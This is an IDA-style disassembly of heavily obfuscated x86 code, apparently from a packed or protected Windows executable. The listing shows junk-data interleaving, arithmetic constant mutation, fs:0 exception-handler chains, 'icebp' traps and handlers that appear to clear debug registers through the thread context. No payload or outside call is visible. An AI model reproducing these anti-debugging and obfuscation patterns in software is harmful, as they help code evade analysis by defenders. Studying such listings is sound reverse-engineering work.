		xchg	eax, [esp]
		pop	eax
		add	edi, 0E6ACF978h
		jmp	loc_43DFB0
; ---------------------------------------------------------------------------
		dw 0F000h
; ---------------------------------------------------------------------------
		icebp
		jmp	loc_43D4C2
; ---------------------------------------------------------------------------
		align 4
		dd 5B76830Fh, 0FD810000h, 2370A842h, 0FFF8E6E9h, 7D880FFFh
		dd 9900005Ah, 0FFED75E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4392B2:				; CODE XREF: sub_439ED1+483j
		xchg	eax, [esp-18h+arg_10]
		mov	ecx, eax
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		jmp	loc_43E58A
; ---------------------------------------------------------------------------
		dw 6467h
		dd 36FFh, 26896467h, 0EE90000h,	23FFFFE8h, 80E381FAh, 89AF50E2h
		dd 0F4ACE910h, 0FFFFh, 0CE8F6857h, 815FEAE9h, 4262CBCFh
		dd 4EE78129h, 0E9C8F4A6h, 997h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4392FA:				; CODE XREF: sub_439ED1:loc_439FF8j
		push	offset word_43E466
		jmp	loc_439C47
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0C2230000h, 1954E9h,	0D0E28100h, 0C1824F8Dh,	68510EC2h
					; CODE XREF: sub_43C155+Fj
		dd 437FAD1Ah, 0FFECE0E9h, 0F0000FFh, 0D7D83h, 0E9F38B00h
		dd 0D09h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_439331:				; CODE XREF: sub_439ED1:loc_43A671j
		jp	loc_43EFA8
		add	ebp, 0D432B3F6h
		jmp	loc_43EEAE
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F990


loc_439343:				; CODE XREF: sub_43F990+6j
		mov	fs:0, esp
		jmp	near ptr word_43A54E
; END OF FUNCTION CHUNK	FOR sub_43F990
; ---------------------------------------------------------------------------
		align 10h
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43DDF6
; ---------------------------------------------------------------------------
		align 4
dword_439368	dd 0C181C033h, 4, 0A76E8h, 51000000h, 32FFE9h, 0C7C10000h
					; DATA XREF: sub_43C65A:loc_43C743o
		dd 0CCCF8115h, 811F58D1h, 0FBDBE9F7h, 5FC7033Fh, 68EE8h
		dd 0E9000000h, 49AFh, 8B0F0000h, 5986h,	4E9CE9h, 0A0FB6800h
		dd 20E90043h, 68000056h, 43A294h, 3F06E9h, 5ECE0300h, 96C001C7h
		dd 0C0330043h, 0E9241487h, 21BAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4393D2:				; DATA XREF: sub_439ED1:loc_43A989o
		call	sub_43FB96
		push	offset byte_43B15C
		jmp	locret_43A20C
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_4393E2	proc near		; CODE XREF: sub_43BAEA-4146p

; FUNCTION CHUNK AT 0043C5DA SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, 7716302Bh
		add	eax, ebp
		add	eax, 8CFF67CAh
		mov	eax, [eax]
		jmp	loc_43C5DA
sub_4393E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3
		dd 5CC081C5h, 4C17DADEh, 0C9E800h, 0DFE90000h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E22A


loc_43940F:				; CODE XREF: sub_43E22A-6211j
		db	65h
		icebp
		push	0C49BAFBCh
		rol	edi, 6
		jmp	loc_43DE14
; END OF FUNCTION CHUNK	FOR sub_43E22A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43941F:				; CODE XREF: sub_439ED1+215Dj
		mov	eax, ebp
		pop	ebp
		add	eax, 8E4405F3h
		sub	eax, 19DF861Dh
		rol	eax, 5
		add	eax, 4E522271h
		add	eax, ebp
		jmp	loc_43BFCB
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 5300h
; ---------------------------------------------------------------------------
		mov	ebx, ecx
		xchg	ebx, [esp]
		jmp	loc_43868E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43944A:				; CODE XREF: sub_439ED1:loc_43EF84j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43BEB1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		dd 0C015FF00h, 52004270h, 0FFF5C9E8h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_43F3B2


loc_43946E:				; CODE XREF: sub_43F3B2-1D63j
		jmp	loc_4388BB
; END OF FUNCTION CHUNK	FOR sub_43F3B2
; ---------------------------------------------------------------------------


loc_439473:				; CODE XREF: _802izwe5:loc_43EF4Cj
		sub	esi, 4FA46B0Ch
		add	esi, 0FF4E7FA4h
		and	esi, 0D79A9C0Ah
		or	esi, 0C3B626E3h
; ---------------------------------------------------------------------------
		db 81h
		db 0C6h	; Æ
		db 0CDh	; Í
		db  14h
		db  3Dh	; =
; ---------------------------------------------------------------------------
		retf	0F5E4h		; DATA XREF: sub_439ED1+98Bo
; ---------------------------------------------------------------------------
		jmp	loc_43EE43
; ---------------------------------------------------------------------------


loc_439498:				; CODE XREF: _802izwe5:loc_43EE1Fj
		mov	eax, esi
		pop	esi
		call	near ptr sub_4382E8
; ---------------------------------------------------------------------------
		dd 0B8E90000h, 1	; CODE XREF: sub_439ED1+421Dj
		db 0
; ---------------------------------------------------------------------------


loc_4394A9:				; CODE XREF: _802izwe5:0043E6A1j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		jmp	loc_43E8DE
; ---------------------------------------------------------------------------

locret_4394C4:				; CODE XREF: _802izwe5:0043E9D3j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_4394C5:				; CODE XREF: sub_43DA03:loc_43B22Fj
		jmp	loc_4395EB
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		align 4


loc_4394CC:				; CODE XREF: _802izwe5:004383D4j
		jmp	loc_43B130
; ---------------------------------------------------------------------------
		db 2 dup(0), 67h
		dd 36FF64h, 89646700h, 0E9000026h, 434Ah, 0C3590000h, 1845E9h
		dd 95E90000h, 0FFFFF2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E3D6


loc_4394F4:				; CODE XREF: sub_43E3D6-6748j
		jmp	loc_43EC1C
; END OF FUNCTION CHUNK	FOR sub_43E3D6
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd 0E51F69FAh, 0FD27E858h, 6BE9FFFFh, 0C100005Eh, 0DA3B06EEh
		dd 63BCE9h, 8B000000h, 0E916892Ah, 1249h
		db 2 dup(0)
word_439522	dw 1D68h		; DATA XREF: sub_43F18B:loc_437FB9o
		dd 0E90043DBh, 0FFFFEF5Eh, 37F3E951h, 81000000h, 81F80CE7h
; ---------------------------------------------------------------------------
		das


loc_439539:				; DATA XREF: sub_439ED1+18A2o
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		push	ebx
		mov	ebx, ebp
		push	offset dword_43A658
		jmp	locret_43C47C
; ---------------------------------------------------------------------------
		dd 241C8700h, 8B243C87h, 55E95FDFh
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43955F:				; CODE XREF: _802izwe5:00437D50j
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		jmp	loc_438563
; ---------------------------------------------------------------------------
		align 4
		push	ecx
		jmp	loc_437CBC
; ---------------------------------------------------------------------------
		test	ebx, edx
		jmp	loc_43CD00
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_43958E:				; CODE XREF: sub_43BE3C:loc_439171j
		mov	ebx, esi
		xchg	ebx, [esp+0]
		push	0EE2973BDh
		pop	esi
		jmp	loc_439999
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------
		sbb	ebx, edi
		jmp	loc_43960C
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4395A7:				; CODE XREF: sub_439ED1+CDEj
		mov	ecx, esp
		push	eax
		push	0E1DD692Dh
		pop	eax
		jmp	loc_43BE28
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		add	ecx, 5F33809Fh
		shl	edx, 5
		xor	ecx, 393E6B2Eh
		push	offset sub_438A6E
		jmp	loc_43AD35
; ---------------------------------------------------------------------------
		align 10h
		dd 20318B0Fh, 0C2C10000h, 0B521BB09h, 0FD0BAD02h, 753ABF57h
		dd 3EE90043h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_4395EB:				; CODE XREF: sub_43DA03:loc_4394C5j
		xchg	ebp, [esp+4+var_4]
		mov	ecx, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		jmp	loc_43EB39
; ---------------------------------------------------------------------------


loc_4395F7:				; CODE XREF: _802izwe5:loc_43BEABj
		push	dword ptr fs:0
		mov	fs:0, esp
; ---------------------------------------------------------------------------
		db 3Eh
		db 0CCh
; ---------------------------------------------------------------------------
		jmp	loc_43C48D
; ---------------------------------------------------------------------------
		align 4


loc_43960C:				; CODE XREF: _802izwe5:004395A0j
		push	0F23C6567h
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		push	5E25139Fh
		pop	eax
		and	eax, 50C9287Dh
		call	sub_43C109
		sub	esi, 81290F9Ah
		jmp	loc_43F4E0
; ---------------------------------------------------------------------------
		align 4
		db 0, 0C3h, 0
; ---------------------------------------------------------------------------


loc_43963B:				; CODE XREF: _802izwe5:loc_43E223j
		mov	byte ptr [ebx],	87h
		pop	ebx
		pop	ebx
		enter	2434h, 8Bh
		out	dx, al
		jmp	loc_43DFA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43964A:				; CODE XREF: sub_43C65A+955j
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43CAB0
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 8Bh
		db 0CCh
		db 81h,	0C1h, 10h
		dd 8B000000h, 622DE809h, 0
		dd 0C181CC8Bh, 10h, 1C7098Bh, 10013h, 0FFF672E9h, 810000FFh
		dd 29C755E7h, 1D86E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_439692:				; CODE XREF: _802izwe5:loc_43F85Dj
		jnz	loc_43A954
; ---------------------------------------------------------------------------
		dd 68E90000h, 37h, 0FD99E900h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4396A8:				; CODE XREF: sub_439ED1+2F30j
		jmp	loc_43AE3F
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		test	ecx, 24D62635h
		jmp	loc_43A948
; ---------------------------------------------------------------------------
		dd 840F9900h, 0FFFFF38Eh, 68F6467h, 4870000h, 24348724h
		dd 29E9C68Bh, 23h
		db 0
; ---------------------------------------------------------------------------


loc_4396D5:				; CODE XREF: _802izwe5:loc_43CF35j
		push	offset loc_43AD16
		jmp	locret_43AD01
; ---------------------------------------------------------------------------
		align 10h
		dd 5CD26800h, 0AAE9E795h, 5Dh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_4396ED	proc near		; CODE XREF: sub_439ED1-19FCp

; FUNCTION CHUNK AT 00439C42 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	offset loc_43ABF4
		jmp	loc_439C42
sub_4396ED	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4396FF:				; CODE XREF: sub_439ED1+3BC6j
		jmp	loc_437C24
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 5CD2E900h, 0
		dd 0FFF2F8E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
		align 4


loc_439714:				; DATA XREF: sub_438026+300o
		pop	edi
		inc	dword ptr [ebp-10h]
		jmp	loc_43A624
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_43971E	proc near		; CODE XREF: sub_439ED1:loc_43B5BFj
		push	ebx
		jmp	loc_43DAB8
sub_43971E	endp

; ---------------------------------------------------------------------------
		dd 0E0810000h, 0E6069DD3h, 0FFF9A1E9h, 0F0000FFh, 0FFE18987h
					; CODE XREF: _802izwe5:loc_43F61Cj
		dd 943E9FFh, 0ED810000h, 0EC78E582h, 83E9DD0Bh
		db 5Dh,	2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43974E:				; CODE XREF: sub_439ED1+5676j
		jmp	loc_4384EA
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 37B3E900h, 0		; CODE XREF: sub_439ED1+38D6j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43975C:				; CODE XREF: sub_43C65A+DFj
		jmp	loc_43B6C5
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 2


loc_439762:				; CODE XREF: _802izwe5:004389C8j
		cmp	eax, 6C239F36h
		jmp	near ptr dword_437F38+0Eh
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 4E4B52F0h, 0E685775h, 5FFAFFC1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43977C:				; CODE XREF: sub_439ED1+58Fj
		or	edi, 3B128B32h
		xor	edi, 0C6EA1EAh
		and	edi, 0E4E49C09h
		add	edi, 1BC3DAF1h
		jmp	loc_43A5D1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2


loc_43979A:				; CODE XREF: _802izwe5:loc_43CB93j
		mov	[ecx], eax
		xchg	ebx, [esp]
		mov	ecx, ebx
		call	near ptr sub_43F688
		add	cl, ch		; CODE XREF: sub_439ED1+1454j
		jmp	short near ptr sub_4397E9+2
; ---------------------------------------------------------------------------
		align 4
		dd 0FA810000h, 0BDB0E6C6h, 21CDE9h, 0E9510000h,	0FFFFE0AFh
		dd 5F3C07C6h, 2B67E8h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437DA2


loc_4397CB:				; CODE XREF: sub_437DA2+6FE1j
		jmp	loc_43A4AB
; END OF FUNCTION CHUNK	FOR sub_437DA2
; ---------------------------------------------------------------------------
		dd 0D9FCE900h, 0E900FFFFh, 0FFFFE134h, 0F158E900h, 63E9FFFFh
		dd 0FFFFDCh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_4397E9	proc near		; CODE XREF: _802izwe5:0043D20Fj
					; sub_43844A:loc_43DD7Dp ...
		xchg	eax, [esp+0]
		xchg	edx, [esp+0]
		mov	eax, edx
		pop	edx


loc_4397F2:				; CODE XREF: _802izwe5:loc_43F21Dj
		push	8BE3841Ah
		jmp	loc_43AB3F
sub_4397E9	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4397FE:				; CODE XREF: sub_439ED1+14C0j
		jl	loc_43C947
		jmp	locret_43A202
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h	; CODE XREF: _802izwe5:0043D840j
		dd 249Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_439810:				; CODE XREF: sub_43C65A+120j
		jmp	loc_43AC0A
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_43E55D
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_438216
; ---------------------------------------------------------------------------
		align 2
		dw 78E9h
		dd 85FFFFE0h, 0F33BE9F0h, 5100FFFFh, 457FE9h, 81000000h
		dd 0BCEFAC2h, 0E5F2817Bh, 818E00CBh, 1BAB9EAh, 0B4F2819Bh
		dd 9D548813h, 8B5ACA03h, 4822E909h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43985B:				; CODE XREF: _802izwe5:00438890j
					; _802izwe5:0043ED5Bj
		jmp	loc_43D244
; ---------------------------------------------------------------------------
		dd 37D1E800h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_439866:				; CODE XREF: _802izwe5:00439EC4j
		jmp	loc_43DD8B
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437E4F


loc_43986D:				; CODE XREF: sub_437E4F+Aj
		jmp	loc_43BDCB
; END OF FUNCTION CHUNK	FOR sub_437E4F
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_439874:				; CODE XREF: sub_439ED1+3FE9j
		xor	esi, 0B04F4C14h
		add	esi, 0B4D6B5B8h
		or	esi, 0E3C97A16h
		rol	esi, 16h
		test	esi, 80h
		jmp	loc_43F846
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0EC8B0000h, 87F28B56h, 0D18B2434h, 45FFE9h, 89000000h
		dd 24CE8132h, 81DA7749h, 43BCC8E6h, 0E8F681CBh,	9DCA439Ch
		dd 24BAE9h, 0F6000000h,	0FA49B2Ah, 685h, 0DDCBE900h, 6800FFFFh
		dd 43CA9Dh, 14ACE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4398DE:				; CODE XREF: _802izwe5:0043DEE7j
		pushf
		push	41CAF6EAh
		pop	eax
		and	eax, 9E4CE7FEh
		add	eax, 0E2584345h
		rol	eax, 8
		add	eax, 0AAF5C744h
		jmp	near ptr dword_4378E0+9
; ---------------------------------------------------------------------------
		align 10h
		dd 0F7815F00h, 181FB1DDh, 6DF6C781h, 6668B99Dh,	0E90043AEh
		dd 0FFFFE1F0h, 0E9C30000h, 0FFFFDB0Ah, 0A3C28100h, 899819F3h
		dd 18AE802h, 0D7E90000h, 13h
		db 0
; ---------------------------------------------------------------------------

locret_439935:				; CODE XREF: _802izwe5:00438CE8j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFDDE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43993F:				; CODE XREF: sub_43C65A+4Ej
		jmp	loc_437C64
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_439944:				; CODE XREF: sub_439ED1+F04j
		jmp	loc_43E23D
; ---------------------------------------------------------------------------


loc_439949:				; CODE XREF: sub_439ED1+882j
		jmp	loc_43AA62
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F7BD


loc_43994E:				; CODE XREF: sub_43F7BD-65C5j
		jmp	loc_43AC14
; END OF FUNCTION CHUNK	FOR sub_43F7BD
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_439954:				; CODE XREF: sub_439ED1+4223j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43B52C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		xor	edx, 88492EEFh
		add	ecx, edx
		pop	edx
		mov	dword ptr [ecx], offset	byte_43C589
		xor	eax, eax
		xchg	ebx, [esp]
		mov	ecx, ebx
		pop	ebx
		jmp	loc_43DF46
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_439999:				; CODE XREF: sub_43BE3C-28A3j
		jmp	loc_43EE26
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43999E:				; CODE XREF: sub_439ED1:loc_43BF43j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		push	esi
		jmp	loc_43EDB0
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0C100h
		dd 0C28108EEh, 0B1419933h, 2908E8h ; CODE XREF:	sub_439ED1+3C2Ej
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B481


loc_4399C5:				; CODE XREF: sub_43B481+Cj
		jmp	loc_4384DA
; END OF FUNCTION CHUNK	FOR sub_43B481
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_43F8AB
; ---------------------------------------------------------------------------
		dd 0E9C7D100h, 0FFFFFB5Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4399D8:				; CODE XREF: sub_439ED1+30Cj
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], 437967h
		xor	eax, eax
		jmp	loc_43BBF8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		push	ecx
		jmp	loc_43B8B5
; ---------------------------------------------------------------------------
		db  87h	; ‡
		db  14h
		db  24h	; $
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4399F7:				; CODE XREF: sub_439ED1+2A7j
		pop	edx
		mov	dword ptr [ebp-7Dh], 72656767h


loc_4399FF:				; DATA XREF: sub_439ED1:loc_43EA67o
		cdq
		mov	edx, offset byte_439029
		jmp	loc_43CAF6
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4


loc_439A0C:				; CODE XREF: _802izwe5:loc_43EE19j
		pushf
		xchg	eax, [esp]
		push	ebx
		call	near ptr sub_43E51B
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BFFF


loc_439A17:				; CODE XREF: sub_43BFFF-3645j
		jmp	loc_43E5B4
; END OF FUNCTION CHUNK	FOR sub_43BFFF
; ---------------------------------------------------------------------------
		dd 0C5BF0000h, 87F2A4E5h, 505A2414h, 0FFEBEFE9h, 308D0FFFh
		dd 57h,	4AB3E900h, 81000000h, 9CF57DDFh, 811A89FAh, 0C31B07F0h
		dd 457AE90Eh, 0
		db  87h	; ‡
		db    4
		db  24h	; $
		db  87h	; ‡
		db  34h	; 4
		db  24h	; $
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db 0E9h	; é
		db  14h
		db 0E8h	; è
		db 0FFh
		db 0FFh
		align 10h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_439A60:				; CODE XREF: sub_439ED1+B52j
		xor	edx, 0B32BB87Ah
		add	ecx, edx
		pop	edx
		add	[ecx], al
		push	ebx
		push	4379D2h
		jmp	loc_43D7E7
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_439A76:				; CODE XREF: _802izwe5:0043D374j
		rol	edi, 8
		cmp	edi, 1DB7DDEDh
		jmp	loc_43CB6D
; ---------------------------------------------------------------------------
		dd 4870000h, 0C88124h, 87000001h, 909D2404h, 346EE9h, 4C18100h
		dd 0C7000000h, 43925A01h, 59C03300h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_439AA9:				; CODE XREF: _802izwe5:0043D751j
		jmp	loc_43A9F0
; ---------------------------------------------------------------------------
		jmp	loc_43E360
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFE95Dh, 36FF6467h, 4BE90000h, 5,	4907870Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_439ACA:				; CODE XREF: sub_439ED1+2E41p
		xchg	eax, [esp]
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		add	eax, ebp
		add	eax, 0DC79BD1Ah
		sub	cl, 64h
		dec	esp
; ---------------------------------------------------------------------------
		db 0
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43844A


loc_439AE3:				; CODE XREF: sub_43844A:loc_43F049j
		push	offset loc_437A8D
		jmp	nullsub_22
; END OF FUNCTION CHUNK	FOR sub_43844A
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
; ---------------------------------------------------------------------------
		retn	0A18Ah
; ---------------------------------------------------------------------------
		mov	bh, 70h
		retf
; ---------------------------------------------------------------------------
		dw 0E812h
		dd 1AA5h, 0FFFE1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_439B01:				; CODE XREF: _802izwe5:0043ED9Aj
		jz	loc_43EA09
		add	cl, ch
		xchg	eax, esp
		and	al, [eax]
; ---------------------------------------------------------------------------
		dd 5E90000h, 2,	0C281FE03h, 5D293073h, 4EE4E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_439B22:				; CODE XREF: _802izwe5:0043D906j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		jmp	loc_43DDDD
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_439B47:				; CODE XREF: sub_439ED1:loc_439F31j
		adc	ebx, ebp
		jmp	near ptr sub_43D6F6
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_439B4F:				; DATA XREF: sub_439ED1+291o
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		push	ecx
		jmp	loc_43A08F
; ---------------------------------------------------------------------------
		align 10h
		dd 0B96ABE00h, 1E90043h, 0FFFFD7h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DB2C


loc_439B6D:				; CODE XREF: sub_43DB2C:loc_43804Ej
		xor	eax, eax
		rol	ecx, 2
		jmp	loc_43C4E5
; END OF FUNCTION CHUNK	FOR sub_43DB2C
; ---------------------------------------------------------------------------
		align 4
dword_439B78	dd 0EDB3F268h, 0C881580Eh, 3AB2183h, 5AA4F081h,	8CE8A558h
					; DATA XREF: sub_439ED1+16F4o
		dd 58h,	1A7D850Fh, 67570000h, 68F64h, 24048700h, 0F045FF58h
		dd 0F87D83h, 1A11850Fh,	85E90000h, 14h,	18E0C100h, 1F2DE9h
		dd 0C1F70000h, 0F40E1B46h, 0FFFEFBE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4D7


loc_439BCB:				; CODE XREF: sub_43E4D7:loc_43B35Dj
		push	offset dword_43B0AC
		jmp	near ptr dword_437340+6Ch
; END OF FUNCTION CHUNK	FOR sub_43E4D7
; ---------------------------------------------------------------------------
		align 2


loc_439BD6:				; CODE XREF: _802izwe5:004391B6j
		jnp	loc_43E01B
		push	ebx
		xchg	esi, [esp]
		xchg	ebp, [esp]
		mov	esi, ebp
		pop	ebp
		push	0C1FEA948h
		push	offset sub_43C99E
		jmp	near ptr dword_4373F8+2
; ---------------------------------------------------------------------------
		pop	ebx
		sub	ebx, 0B75F64DBh
		and	ebx, 0FC7B7059h
		add	ebx, 17F5EC92h
		jmp	loc_4382F8
; ---------------------------------------------------------------------------


loc_439C0D:				; CODE XREF: _802izwe5:0043E28Bj
		jns	loc_43B4DC

; =============== S U B	R O U T	I N E =======================================



sub_439C13	proc near		; CODE XREF: sub_439ED1:loc_43B398p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [edi],	8Bh
		xchg	eax, [esp-4+arg_0]
		mov	edi, eax
		pop	eax
		rol	eax, 16h
		jmp	loc_43AAA2
sub_439C13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
